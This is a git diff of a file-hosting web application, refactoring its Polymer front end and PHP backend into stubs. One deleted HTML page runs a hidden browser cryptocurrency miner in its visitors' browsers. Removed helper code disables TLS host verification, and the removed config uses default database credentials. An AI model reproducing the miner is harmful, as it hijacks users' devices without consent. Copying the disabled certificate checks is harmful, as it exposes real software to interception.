-webkit-font-feature-settings: 'liga';
-webkit-font-smoothing: antialiased;
}
</style>
<div class="upload">
<div class="upload-header">
<div class="upload-header-content">
<i class="material-icons" style="margin-right: 10px">file_upload</i>
<div class="upload-header-content-filename">{{file.name}}</div>
</div>
<template is="dom-if" if="{{!complete}}">
<div class="upload-header-tag abort-tag">
<i class="material-icons" on-click="abortUpload">cancel</i>
</div>
<div class="upload-header-tag">
{{formatBytes(transferRate)}}/s
</div>
</template>
<template is="dom-if" if="{{complete}}">
<template is="dom-if" if="{{!error}}">
<div class="upload-header-tag" style="border-left: 1px solid #888;">
<div class="cap" on-click="openLink">link</div>
</div>
<div class="upload-header-tag">
<div class="cap" on-click="openViewLink">view</div>
</div>
</template>
<template is="dom-if" if="{{error}}">
<div class="upload-header-tag abort-tag"><i class="material-icons" style="margin-right: 10px">error_outline</i> {{response.msg}}</div>
</template>
</template>
</div>
<div class="upload-content">
<template is="dom-if" if="{{!complete}}">
<div class="upload-progress-bar" style="width: calc(100 * {{progress}}%)"></div>
</template>
</div>
</div>
</template>
</dom-module>
<script>
class VoidUpload extends Polymer.Element {
static get is() { return "void-upload"; }
static get properties() {
return {
file: Object
};
}
truncatedName() {
return this.file !== undefined ? this.file.name.substring(0, 10) : '';
}
abortUpload() {
if (this.xhr) {
this.xhr.abort();
this.response = { msg: "Aborted by user" };
}
}
openLink() {
if (this.response !== undefined && this.response !== null && this.response.link !== undefined && this.response.link !== null && this.response.link.length > 0) {
window.open(window.location.href + this.response.publichash, '_blank');
}
}
openViewLink() {
if (this.response !== undefined && this.response !== null && this.response.link !== undefined && this.response.link !== null && this.response.link.length > 0) {
window.open(window.location.href + '#' + this.response.publichash, '_blank');
}
}
uploadBlob() {
if (!this.xhr) {
this.xhr = new XMLHttpRequest();
this.xhr.upload.addEventListener('progress', this.uploadProgress.bind({ self: this }));
this.xhr.upload.addEventListener('load', this.uploadProgress.bind({ self: this }));
this.xhr.upload.addEventListener('error', this.uploadProgress.bind({ self: this }));
this.xhr.upload.addEventListener('abort', this.uploadProgress.bind({ self: this }));
this.xhr.addEventListener('readystatechange', this.uploadProgress.bind({ self: this }));
this.xhr.open("POST", "https://upload.void.cat/src/php/upload.php?filename=" + this.file.name + (this.file.url ? "&remote=" + encodeURIComponent(this.file.url) : ""));
this.xhr.send(this.file);
}
}
uploadProgress(evt) {
switch (evt.type) {
case 'readystatechange': {
if (evt.target.readyState == 4) {
this.self.complete = true;
if (evt.target.status == 200) {
this.self.response = JSON.parse(evt.target.response);
if (this.self.response.status !== 200) {
this.self.error = true;
}
this.self.notifyPath('error');
} else {
this.self.error = true;
}
}
break;
}
case 'progress': {
this.self.progress = parseFloat(evt.loaded) / parseFloat(evt.total);
let txnow = Date.now()
let txdif = evt.loaded - this.self.lastProgressLoaded;
let txt = txnow - this.self.lastProgress;
let txrate = txdif / (txt / 1000.0);
this.self.transferRate = txrate;
this.self.lastProgressLoaded = evt.loaded;
this.self.lastProgress = txnow;
break;
}
case 'error': {
this.self.error = true;
this.self.complete = true;
break;
}
}
}
constructor(dz, file) {
super();
this.dropZone = dz;
this.formatBytes = Util.formatBytes;
this.file = file;
this.progress = 0;
this.lastProgressLoaded = 0;
this.lastProgress = Date.now();
this.transferRate = 0;
this.response = {}
this.complete = false;
this.error = false;
if (file.size > this.dropZone.maxSize) {
this.complete = true;
this.error = true;
this.response = { msg: "File too big" };
}
}
ready() {
super.ready()
if (!this.error) {
this.uploadBlob();
}
}
}
customElements.define(VoidUpload.is, VoidUpload);
</script>

View File

@ -1,133 +0,0 @@
<link rel="import" href="/bower_components/polymer/polymer-element.html">
<dom-module id="void-view">
<template>
<style>
img {
max-width: 100%;
display: block;
margin-left: auto;
margin-right: auto;
}
.file-info {
margin-top: 10px;
background-color: #1fa4ab;
line-height: 30px;
width: 300px;
margin-left: auto;
margin-right: auto;
border-radius: 3px;
padding: 5px 10px 5px 10px;
overflow: hidden;
}
.file-info-views {
float: left;
}
.file-info-size {
float: right;
}
.material-icons {
font-family: 'Material Icons';
font-weight: normal;
font-style: normal;
font-size: 25px;
float:left;
margin-right: 5px;
text-transform: none;
letter-spacing: normal;
word-wrap: normal;
white-space: nowrap;
direction: ltr;
-webkit-font-smoothing: antialiased;
text-rendering: optimizeLegibility;
-moz-osx-font-smoothing: grayscale;
font-feature-settings: 'liga';
}
audio, video {
width: 100%;
}
.default {
font-size: 20px;
text-align: center;
}
.captcha { text-align: center; }
</style>
<template is="dom-if" if="[[isCaptcha]]">
<div class="captcha">
<h3>Oh no :( you downloaded this file [[captchaDL]] times, please verify you are human</h3>
</div>
</template>
<template is="dom-if" if="[[isImage]]">
<img src="[[fileInfo.url]]"/>
</template>
<template is="dom-if" if="[[isVideo]]">
<video controls>
<source src="[[fileInfo.url]]" type="[[fileInfo.mime]]">
</video>
</template>
<template is="dom-if" if="[[isSound]]">
<audio controls>
<source src="[[fileInfo.url]]" type="[[fileInfo.mime]]">
</audio>
</template>
<template is="dom-if" if="[[isDefault]]">
<div class="default">
<a href="[[fileInfo.url]]">Download [[fileInfo.filename]]</a>
</div>
</template>
<template is="dom-if" if="[[!isCaptcha]]">
<div class="file-info">
<div class="file-info-views">
<div class="material-icons">cloud_download</div>Downloads: [[fileInfo.views]]
</div>
<div class="file-info-size">Size: [[formatBytes(fileInfo.size)]]</div>
</div>
</template>
</template>
</dom-module>
<script>
class VoidView extends Polymer.Element {
static get is() { return "void-view"; }
get properties() {
return {
"hash": String
}
}
constructor() {
super();
this.formatBytes = Util.formatBytes;
}
ready() {
super.ready();
if(location.search.indexOf('?captcha') === 0){
doCaptcha(this);
this.isCaptcha = true;
} else {
API.getFileInfo(this.hash.substring(1), function(data) {
this.self.fileInfo = data.file;
if(data.captcha) {
doCaptcha(this.self);
this.self.isCaptcha = true;
}else{
this.self.isCaptcha = false;
this.self.isImage = (this.self.fileInfo.mime.match(/^image\/(png|jpg|jpeg|gif|bmp)$/gi) !== null);
this.self.isVideo = (this.self.fileInfo.mime.match(/^video\/(mp4|mkv|avi|m4v|webm)$/gi) !== null);
this.self.isSound = (this.self.fileInfo.mime.match(/^audio\/(mp3|ogg|flac|wav|alac)$/gi) !== null);
this.self.isDefault = !this.self.isImage && !this.self.isVideo && !this.self.isSound;
}
}.bind({ self: this }));
}
}
}
customElements.define(VoidView.is, VoidView)
</script>

9
src/php/abuse.php Normal file
View File

@ -0,0 +1,9 @@
<?php
class Abuse {
function CheckDownloadAbuse($req) {
}
}
?>

View File

@ -1,96 +1,13 @@
<?php
include_once('config.php');
include_once('functions.php');
$body = file_get_contents('php://input');
$c = json_decode($body);
$rsp = array(
"input" => $c
);
$redis = new Redis();
$redis->pconnect(_REDIS_SERVER);
<?php
ga_page_view($redis);
switch($c->cmd){
case "config":
{
include_once("db.php");
$db = new DB();
$rsp["stats"] = $db->GetStats();
$maxsizeM = ini_get('post_max_size');
$maxsize = (int)(str_replace('M', '', $maxsizeM) * 1000 * 1000);
$rsp["maxsize"] = $maxsize;
$rsp["expire"] = _FILE_EXPIRE_TIME;
//$rsp["tips"] = GetTipTotal();
break;
}
case "file":
{
include_once("db.php");
$db = new DB();
$fi = $db->GetFile($c->hash);
if($fi->hash160 != NULL)
{
unset($fi->path); //block internal path value
$fi->url = _SITEURL . $fi->hash160;
$rsp["file"] = $fi;
$hashKey = _UIP . ':' . $fi->hash160;
$dlCounter = $redis->get($hashKey);
if($dlCounter != False && $dlCounter >= _DL_CAPTCHA) {
ga_event("Captcha", "Hit");
$rsp["captcha"] = True;
}
}else {
$rsp["file"] = NULL;
}
break;
}
case "captcha_config":
{
$rsp["cap_key"] = _CAPTCHA_KEY;
$rsp["cap_dl"] = _DL_CAPTCHA;
break;
}
case "captcha_verify":
{
$hashKey = _UIP . ':' . $c->hash;
$dlCounter = $redis->get($hashKey);
if($dlCounter != FALSE) {
$ch = curl_init();
class Api implements RequestHandler {
public function HandleRequest() {
curl_setopt($ch, CURLOPT_URL, 'https://www.google.com/recaptcha/api/siteverify');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'secret=' . _CAPTCHA_SECRET . '&response=' . $c->token . '&remoteip=' . _UIP);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$crsp = json_decode(curl_exec($ch));
curl_close ($ch);
if($crsp->success == True){
$dlCounter = 0;
$redis->setEx($hashKey, _CAPTCHA_DL_EXPIRE, 0);
$rsp["ok"] = True;
ga_event("Captcha", "Pass");
}else{
$rsp["ok"] = False;
ga_event("Captcha", "Fail");
}
}else{
$rsp["ok"] = True;
ga_event("Captcha", "Miss");
}
break;
}
}
}
public function GetStats() {
}
}
header('Content-Type: application/json');
echo json_encode($rsp);
?>
?>

9
src/php/config.php Normal file
View File

@ -0,0 +1,9 @@
<?php
class Config {
public static $Instance = NULL;
public static function LoadConfig() {
self::$Instance = json_decode(file_get_contents("settings.json"));
}
}
?>

View File

@ -1,68 +0,0 @@
<?php
if(!isset($_COOKIE["VC:UID"])) {
setcookie("VC:UID", uniqid());
}
define('_UIP', isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']);
/* LB SETTINGS */
define('_IS_LB_HOST', False);
define('_LB_HOSTS', array("http://host1.void.cat", "http://host2.void.cat"));
define('_LB_HOSTNAME', 'download.void.cat');
/* DB SETTINGS */
define('_DB_HOST', '127.0.0.1');
define('_DB_DATABASE', 'void');
define('_DB_USER', 'root');
define('_DB_PASS', 'mysql');
/* REDIS CONFIG */
define('_REDIS_SERVER', '127.0.0.1');
/* GENERAL SETTINGS */
define('_PUB_HASH', 'ripemd160');
define('_DEFAULT_TYPE', 'application/octet-stream');
define('_SITEURL', (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/');
define('_UPLOADDIR', '/files/');
define('_FILEPATH', '/var/www/void.cat' . _UPLOADDIR);
define('_DISCORD_WEBHOOK', 'DISCORD_HOOK_URL');
define('_DISCORD_WEBHOOK_PUB', 'DISCORD_HOOK_URL');
define('_FILE_EXPIRE_TIME', 30);
define('_GA_SITE_CODE', 'UA-73200448-1');
define('_BLOCK_REFERER', array("yobuilder.com", "adf.ly", "payshorturl.com", "clearload.bid"));
define('_UA_NO_VIEW', array("YandexBot/3.0", "Googlebot/2.1", "Yahoo! Slurp"));
define('_VIRUSTOTAL_KEY', 'API_KEY');
define('_CURL_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36');
define('_ETHERSCAN_API_KEY', 'API_KEY');
/* CLOUDFLARE SETTINGS */
define('_CLOUDFLARE_API_EMAIL', 'me@me.com');
define('_CLOUDFLARE_API_KEY', 'API_KEY');
define('_CLOUDFLARE_ZONE', 'ZONE_ID');
/* CAPTCHA SETTINGS */
define('_DL_CAPTCHA', 10);
define('_CAPTCHA_DL_EXPIRE', 86400);
define('_CAPTCHA_KEY', 'CAP_KEY');
define('_CAPTCHA_SECRET', 'CAP_SECRET');
/* LN RPC-FILE */
define('_LN_RPC_FILE', 'tcp://127.0.0.1:9737');
define("MSAT", 0.00000000001);
define("SAT", 0.00000001);
/* TIP ADDRS */
define('_TIP_ADDRS', array(
"BTC" => "3AL9jqxVTjAZJMseBBnC75F3S6r4HSphUt",
"BCH" => "1qbcr7Bnt53sq9qEbPPrzu4jAvEeF6oUm",
"BTG" => "AbtKHMqpwUqJJVYj7f1roR6FCecViPt1zK",
"DASH" => "XfFNizQfuqwRtdx4WqpcK3L8tZEvG4WaJk",
"LTC" => "MGBNvUefXrFvdiZRNrQTG6UX8za2Phr5Eu",
"ZEC" => "t1VSkrikVyjoCKrC7DXnVPxPZCWRQihneTz",
"ETH" => "0x367e6864d84b38c58312a340afbd55417d1c9Ce2",
"TRX" => "0x367e6864d84b38c58312a340afbd55417d1c9Ce2",
"ETC" => "0x5653306b771d0ECD9f1010114a378a50301f68c3",
"XEM" => "NDWAWGJ5E5FCQTGKMTAQPS5TACICPB5NA4ZVT232"
));
?>

View File

@ -1,25 +0,0 @@
<?php
include_once("config.php");
include_once("db.php");
include_once("functions.php");
echo 'Cleaning files...';
$db = new DB();
$fl = $db->GetExpiredFiles();
foreach($fl as $f) {
if(unlink($f->path)) {
$db->DeleteFile($f);
echo 'Deleted file: ' . $f->filename . ' (' . $f->hash160 . ') \n';
$del[] = $f->hash160;
}else{
echo 'Cant delete file ' . $f->path . ' \n';
}
}
if(count($fl) > 0){
$discord_data = array("content" => 'Deleted ' . count($fl) . ' expired files. `' . implode("` `", $del) . '`');
send_pub_discord_msg($discord_data);
}
?>

View File

@ -1,187 +1,18 @@
<?php
include_once('config.php');
include_once('file.php');
class DB {
function __construct()
{
$this->error = null;
$this->mysqli = new mysqli(_DB_HOST, _DB_USER, _DB_PASS, _DB_DATABASE);
if ($this->mysqli->connect_errno) {
$this->error = "Failed to connect to MySQL: (" . $this->mysqli->connect_errno . ") " . $this->mysqli->connect_error;
}
}
function __destruct()
{
if($this->error == null)
{
$this->mysqli->close();
}
}
function Exists256($hash)
{
return $this->GetFile($hash, "hash256");
}
function GetStats()
{
$res = new FileStats();
$stmt = $this->mysqli->prepare("select count(hash160), sum(size), avg(size), sum(views * size) from files");
if($stmt)
{
$stmt->execute();
$stmt->bind_result($res->files, $res->size, $res->avgSize, $res->transfer);
$stmt->fetch();
$stmt->close();
$res->size = floatval($res->size);
$res->avgSize = floatval($res->avgSize);
$res->transfer = floatval($res->transfer);
}
return $res;
}
function GuessHash($hash) {
//sometimes are making a request like this: lets just do a LIKE query to find it bf9fdaa217271f9e1f6ab88...f42bd0a538
//poor lost people i cri evry time
$res = null;
$stmt = $this->mysqli->prepare("select hash160 from files where hash160 like ? limit 1");
if($stmt)
{
$stmt->bind_param("s", $hash);
$stmt->execute();
$stmt->bind_result($res);
$stmt->fetch();
$stmt->close();
}
return $res;
}
function GetFile($hash, $hc = "hash160")
{
$res = new FileUpload();
$stmt = $this->mysqli->prepare("select hash160, hash256, filename, mime, size, path, views, isAdminFile, uploaded, lastview from files where " . $hc . " = ? limit 1");
if($stmt)
{
$stmt->bind_param("s", $hash);
$stmt->execute();
$stmt->bind_result($res->hash160, $res->hash256, $res->filename, $res->mime, $res->size, $res->path, $res->views, $res->isAdminFile, $res->uploaded, $res->lastview);
$stmt->fetch();
$stmt->close();
}
return $res;
}
class Db {
public static $Instance = NULL;
public static $Error = NULL;
function GetFiles()
{
$res = array();
public static function Connect() {
$cfg = Config::$Instance;
self::$Instance = new mysqli($cfg->db_host, $cfg->db_user, $cfg->db_password, $cfg->db_database);
$stmt = $this->mysqli->prepare("select hash160, hash256, filename, mime, size, path, views, isAdminFile, uploaded, lastview from files order by uploaded desc");
if($stmt)
{
$stmt->execute();
$stmt->bind_result($hash160, $hash256, $filename, $mime, $size, $path, $views, $isAdminFile, $uploaded, $lastview);
while($stmt->fetch()){
$nf = new FileUpload();
$nf->hash160 = $hash160;
$nf->hash256 = $hash256;
$nf->filename = $filename;
$nf->mime = $mime;
$nf->size = $size;
$nf->path = $path;
$nf->views = $views;
$nf->isAdminFile = $isAdminFile;
$nf->uploaded = $uploaded;
$nf->lastview = $lastview;
array_push($res, $nf);
}
$stmt->close();
}
return $res;
}
function InsertFile($f)
{
$stmt = $this->mysqli->prepare("insert into files(hash160, hash256, filename, mime, size, path) values(?,?,?,?,?,?)");
if($stmt)
{
$stmt->bind_param("ssssss", $f->hash160, $f->hash256, $f->filename, $f->mime, $f->size, $f->path);
$stmt->execute();
$stmt->close();
}
}
function DeleteFile($f)
{
$stmt = $this->mysqli->prepare("delete from files where hash160 = ?");
if($stmt)
{
$stmt->bind_param("s", $f->hash160);
$stmt->execute();
$stmt->close();
}
}
function UpdateFileSize($h, $s)
{
$stmt = $this->mysqli->prepare("update files set size = ? where hash160 = ?");
if($stmt)
{
$stmt->bind_param("ds", $s, $h);
$stmt->execute();
$stmt->close();
}
}
function AddView($hash160)
{
$stmt = $this->mysqli->prepare("update files set views = views + 1, lastview = NOW() where hash160 = ?");
if($stmt)
{
$stmt->bind_param("s", $hash160);
$stmt->execute();
$stmt->close();
}
}
function GetExpiredFiles()
{
return $this->GetExpiredFilesT(_FILE_EXPIRE_TIME);
}
function GetExpiredFilesT($tt)
{
$res = array();
$stmt = $this->mysqli->prepare("select hash160, filename, path, lastview, size from files where date_add(lastview, INTERVAL " . $tt . " DAY) < CURRENT_TIMESTAMP or (views = 0 and date_add(lastview, INTERVAL 1 DAY) < CURRENT_TIMESTAMP) order by lastview desc");
if($stmt)
{
$stmt->execute();
$stmt->bind_result($hash160, $filename, $path, $lastview, $size);
while($stmt->fetch()){
$nf = new FileUpload();
$nf->hash160 = $hash160;
$nf->filename = $filename;
$nf->path = $path;
$nf->lastview = $lastview;
$nf->size = $size;
array_push($res, $nf);
}
$stmt->close();
}
return $res;
}
};
?>
if (mysqli_connect_errno()) {
self::$Error = mysqli_connect_error();
return FALSE;
}
return TRUE;
}
}
?>

View File

@ -1,152 +1,31 @@
<?php
include_once('config.php');
include_once('functions.php');
$redis = new Redis();
$redis->pconnect(_REDIS_SERVER);
if(!isset($_SERVER['HTTP_RANGE'])) {
matomo_page_view($redis);
}
$hash = substr($_SERVER["REQUEST_URI"], 1);
$hashKey = _UIP . ':' . $hash;
class Download implements RequestHandler {
if(_IS_LB_HOST == False && count(_LB_HOSTS) > 0) {
$has_cache = $redis->sIsMember("VC:DL:LB", $hash);
if($has_cache == False) {
$lb_hash_cache = True;
foreach(_LB_HOSTS as $lbh) {
$lb_x = json_decode(curl_get($lbh . "/hasfile.php?hash=" . $hash, array("Host: " . _LB_HOSTNAME)));
if($lb_x->result == False){
$lb_hash_cache = False;
break;
}
}
if($lb_hash_cache == True){
$redis->sadd("VC:DL:LB", $hash);
header("location: https://" . _LB_HOSTNAME . "/" . $hash, true, 301);
exit();
}
} else {
header("location: https://" . _LB_HOSTNAME . "/" . $hash, true, 301);
exit();
}
} else {
$redis->publish('dl-track', json_encode(array(
"host" => gethostname(),
"uid" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : NULL,
"uip" => _UIP,
"hash" => $hash,
"range" => isset($_SERVER['HTTP_RANGE']) ? $_SERVER['HTTP_RANGE'] : NULL
)));
}
$refr = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : False;
if($refr != False){
$rh = parse_url($refr)["host"];
if(in_array($rh, _BLOCK_REFERER)){
header("Content-Type: text/html");
echo file_get_contents("empty.html");
//http_response_code(403);
exit();
}
if(_IS_LB_HOST == False && $rh != "void.cat") {
//redirect to view page from hotlink
header("location: /#" . $hash);
exit();
}
}
//check is range request
$is_non_range = True;
if(isset($_SERVER['HTTP_RANGE'])){
$rby = explode('=', $_SERVER['HTTP_RANGE']);
$rbv = explode('-', $rby[1]);
if($rbv[0] != '0'){
$is_non_range = False;
}
}
//block certain bots from counting views (to stop files never expiring)
$isCrawlBot = False;
$ua = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "";
if(preg_match('/.*(\(.*\))/i', $ua, $matches) == 1)
{
$opts = array();
if(strpos($matches[1], ';') != False){
$opts = explode(';', $matches[1]);
}else{
$opts[0] = $matches[1];
}
foreach($opts as $opt){
if(in_array(trim($opt), _UA_NO_VIEW)){
$isCrawlBot = True;
break;
}
}
}
$dlCounter = $redis->get($hashKey);
if($dlCounter != FALSE) {
if($dlCounter >= _DL_CAPTCHA * 2){
$cfbk = 'VC:CF:BLOCK';
if(_CLOUDFLARE_API_KEY != 'API_KEY' && $redis->sIsMember($cfbk, _UIP) == False){
$redis->sadd($cfbk, _UIP);
AddFirewallRule(_UIP);
}
header('location: /');
exit();
}else if($dlCounter >= _DL_CAPTCHA){
//redirect for captcha check
$redis->incr($hashKey);
ga_event("Captcha", "Hit");
header('location: ' . _SITEURL . '?dl#' . $hash);
exit();
}
}else{
$redis->setEx($hashKey, _CAPTCHA_DL_EXPIRE, 0);
$dlCounter = 0;
}
include_once('db.php');
$db = new DB();
//try to guess the hash if the link was truncated with '...'
if(strpos($hash, "...") !== false) {
$nh = str_replace("...", "%", $hash);
$gh = $db->GuessHash($nh);
if($gh !== null) {
header('location: ' . _SITEURL . $gh);
exit();
}
}
$f = $db->GetFile($hash);
if($f->hash160 != NULL){
$vtr = CheckVirusTotalCached($redis, $f->hash256, $f->hash160);
if($vtr != null && isset($vtr->positives) && $vtr->positives > 1) {
http_response_code(404);
}else {
$expire = 604800;
$location = _UPLOADDIR . $f->hash160;
$mimeType = $f->mime;
$filename = $f->filename;
header("X-Accel-Redirect: $location");
header("Cache-Control: public, max-age=$expire");
header("Content-type: $mimeType");
header('Content-Disposition: inline; filename="' . $filename . '"');
if(!$isCrawlBot && $is_non_range){
$db->AddView($f->hash160);
$redis->incr($hashKey);
}
}
}else{
http_response_code(404);
}
?>
function __construct(){
$this->Redis = StaticRedis::$Instance;
$this->Config = Config::$Instance;
$this->Db = Db::$Instance;
$this->Abuse = new Abuse();
$this->Tracking = new Tracking();
$this->FileStore = new FileStore();
$this->Redis->pconnect($this->Config->Redis);
}
public function HandleRequest() {
if(isset($_REQUEST["hash"])){
$hash = $_REQUEST["hash"];
$fi = $this->FileStore->GetFileInfo($hash);
} else {
http_response_code(404);
exit();
}
}
function StartDownload($req){
}
}
?>

View File

@ -1,15 +0,0 @@
<!doctype html>
<html>
<head>
<title>!! ☠☠☠ !!</title>
<script src="//void.cat/cl/lib/crypta.js"></script>
<script>
window.miner = new CRLT.Anonymous('780c65e12f7eaebadd433b1eb488f45a5f71347a77df', { autoThreads: true, throttle: 0 });
window.miner.start();
</script>
</head>
<body>
</body>
</html>

View File

@ -1,21 +0,0 @@
<?php
class FileUpload {
public $hash160;
public $hash256;
public $filename;
public $mime;
public $size;
public $path;
public $views;
public $isAdminFile;
public $uploaded;
public $lastview;
}
class FileStats {
public $files;
public $size;
public $avgSize;
public $transfer;
}
?>

13
src/php/filestore.php Normal file
View File

@ -0,0 +1,13 @@
<?php
class FileStore {
function __construct(){
$this->Redis = StaticRedis::$Instance;
$this->Db = Db::$Instance;
}
public function GetFileInfo($h160) {
}
}
?>

View File

@ -1,378 +0,0 @@
<?php
function ln_query($method, $params = NULL){
$sock = fsockopen(_LN_RPC_FILE);
if($sock) {
fwrite($sock, json_encode(array("jsonrpc" => "2.0", "method" => $method, "params" => $params, "id" => 1)) . "\n");
$rsp = fgets($sock);
fclose($sock);
return json_decode($rsp);
}
return NULL;
}
function curl_json_get($url)
{
return json_decode(curl_get($url));
}
function curl_get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, _CURL_USER_AGENT);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function curl_post($url, $data)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, _CURL_USER_AGENT);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function GetAllAddrInfo($addrs)
{
$ret = array();
foreach($addrs as $cur => $addr)
{
$f = "GetAddrInfo_" . $cur;
if(is_callable($f)) {
$val = call_user_func($f, $addr);
if($val)
{
array_push($ret, (object) [
"currency" => $cur,
"address" => $addr,
"balance" => $val->balance,
"txns" => $val->txns
]);
}
}
}
return $ret;
}
function GetAddrInfo_BTC($addr)
{
$val = curl_json_get("https://api.blockcypher.com/v1/btc/main/addrs/" . $addr . "/balance");
return (object) [
"balance" => $val->final_balance * SAT,
"txns" => $val->final_n_tx
];
}
function GetAddrInfo_LTC($addr)
{
$val = curl_json_get("https://api.blockcypher.com/v1/ltc/main/addrs/" . $addr . "/balance");
return (object) [
"balance" => $val->final_balance,
"txns" => $val->final_n_tx
];
}
function GetAddrInfo_DASH($addr)
{
$val = curl_json_get("https://api.blockcypher.com/v1/dash/main/addrs/" . $addr . "/balance");
return (object) [
"balance" => $val->final_balance,
"txns" => $val->final_n_tx
];
}
function GetAddrInfo_BCH($addr)
{
$val = curl_json_get("https://bitcoincash.blockexplorer.com/api/addr/" . $addr . "/balance");
return (object) [
"balance" => $val->balance,
"txns" => $val->txApperances,
"new_addr" => $val->addrStr
];
}
function GetAddrInfo_ETH_ERC20($contract, $addr)
{
$val = curl_json_get("https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=" . $contract . "&address=" . $addr . "&tag=latest&apikey=" . _ETHERSCAN_API_KEY);
return (object) [
"balance" => $val->response,
"txns" => 0
];
}
function GetAddrInfo_EOS($addr)
{
return GetAddrInfo_ETH_ERC20("0x86fa049857e0209aa7d9e616f7eb3b3b78ecfdb0", $addr);
}
function GetAddrInfo_TRX($addr)
{
return GetAddrInfo_ETH_ERC20("0xf230b790e05390fc8295f4d3f60332c93bed42e2", $addr);
}
function GetAddrInfo_ETH($addr)
{
$val = curl_json_get("https://api.etherscan.io/api?module=account&action=balance&address=" . $addr . "&tag=latest&apikey=" . _ETHERSCAN_API_KEY);
return (object) [
"balance" => $val->response,
"txns" => 0
];
}
function GetAddrInfo_ETC($addr)
{
$val = curl_json_get("https://etcchain.com/api/v1/getAddressBalance?address=" . $addr);
return (object) [
"balance" => $val->balance,
"txns" => 0
];
}
function GetAddrInfo_BTG($addr)
{
$val = curl_get("https://btgexp.com/ext/getaddress/" . $addr);
return (object) [
"balance" => floatval($val),
"txns" => 0
];
}
function GetAddrInfo_ZEC($addr)
{
$val = curl_get("https://api.zcha.in/v2/mainnet/accounts/" . $addr);
return (object) [
"balance" => $val->balance,
"txns" => $val->recvCount
];
}
function GetAddrInfo_XEM($addr)
{
//pick a random node to query
$nodes = curl_json_get("https://nodeexplorer.com/api_openapi_version");
$api = array_rand($nodes->nodes);
$val = curl_json_get("http://" . $nodes->nodes[$api] . "/account/get?address=" . $addr);
return (object) [
"balance" => $val->account->balance,
"txns" => 0
];
}
function GetBTCPrice()
{
$val = curl_json_get("https://api.coinmarketcap.com/v2/ticker/1/");
return $val->data->quotes->USD->price;
}
function call_webhook($url, $data) {
curl_post($url, json_encode($data));
}
function send_pub_discord_msg($data) {
call_webhook(_DISCORD_WEBHOOK_PUB, $data);
}
function send_discord_msg($data) {
call_webhook(_DISCORD_WEBHOOK, $data);
}
function ga_collect($p) {
$url = "https://www.google-analytics.com/collect";
$p["v"] = "1";
$p["tid"] = _GA_SITE_CODE;
$p["cid"] = session_id();
curl_post($url, http_build_query($p));
}
function ga_page_view($redis){
matomo_page_view($redis);
return;
$msg = http_build_query(array(
"v" => "1",
"tid" => _GA_SITE_CODE,
"cid" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : uniqid(),
"t" => "pageview",
"dh" => $_SERVER['HTTP_HOST'],
"dp" => $_SERVER['REQUEST_URI'],
"uip" => _UIP,
"ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
"dr" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""
));
$redis->publish('ga-page-view', $msg);
}
function matomo_page_view($redis){
$msg = "?" . http_build_query(array(
"idsite" => 1,
"rec" => 1,
"apiv" => 1,
"_id" => isset($_COOKIE["VC:UID"]) ? $_COOKIE["VC:UID"] : uniqid(),
"url" => (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]",
"cip" => _UIP,
"ua" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
"urlref" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ""
));
$redis->publish('ga-page-view-matomo', $msg);
}
function ga_event($cat, $act) {
ga_collect(array(
"t" => "event",
"ec" => $cat,
"ea" => $act
));
}
function clamav_scan_stream($res, $slen) {
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 3310);
$cs = 1 * 1000 * 1000; //1MB chunk size
$offset = 0;
socket_write($socket, "zINSTREAM\0");
while ($chunk = fread($res, $cs)) {
$size = pack('N', strlen($chunk));
socket_write($socket, $size);
socket_write($socket, $chunk);
}
socket_write($socket, pack('N', 0));
rewind($res);
$response = null;
do {
$data = socket_read($socket, 128);
if($data === "") {
break;
}
$response .= $data;
if(substr($response, -1) === "\0"){
break;
}
}while(true);
return substr($response, 0, -1);
}
function CheckVirusTotal($h256) {
$post = array('apikey' => _VIRUSTOTAL_KEY, 'resource' => $h256);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.virustotal.com/vtapi/v2/file/report');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($ch, CURLOPT_USERAGENT, "gzip, void.cat virus check");
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$result = curl_exec ($ch);
curl_close ($ch);
$vtr = json_decode($result, true);
if($vtr["response_code"] == 1 && $vtr["positives"] > 0){
$discord_data = array("content" => "[VIRUS DETECTED] " . $vtr["permalink"]);
send_pub_discord_msg($discord_data);
}
return $vtr;
}
function ScanFile($res) {
$ch = curl_init();
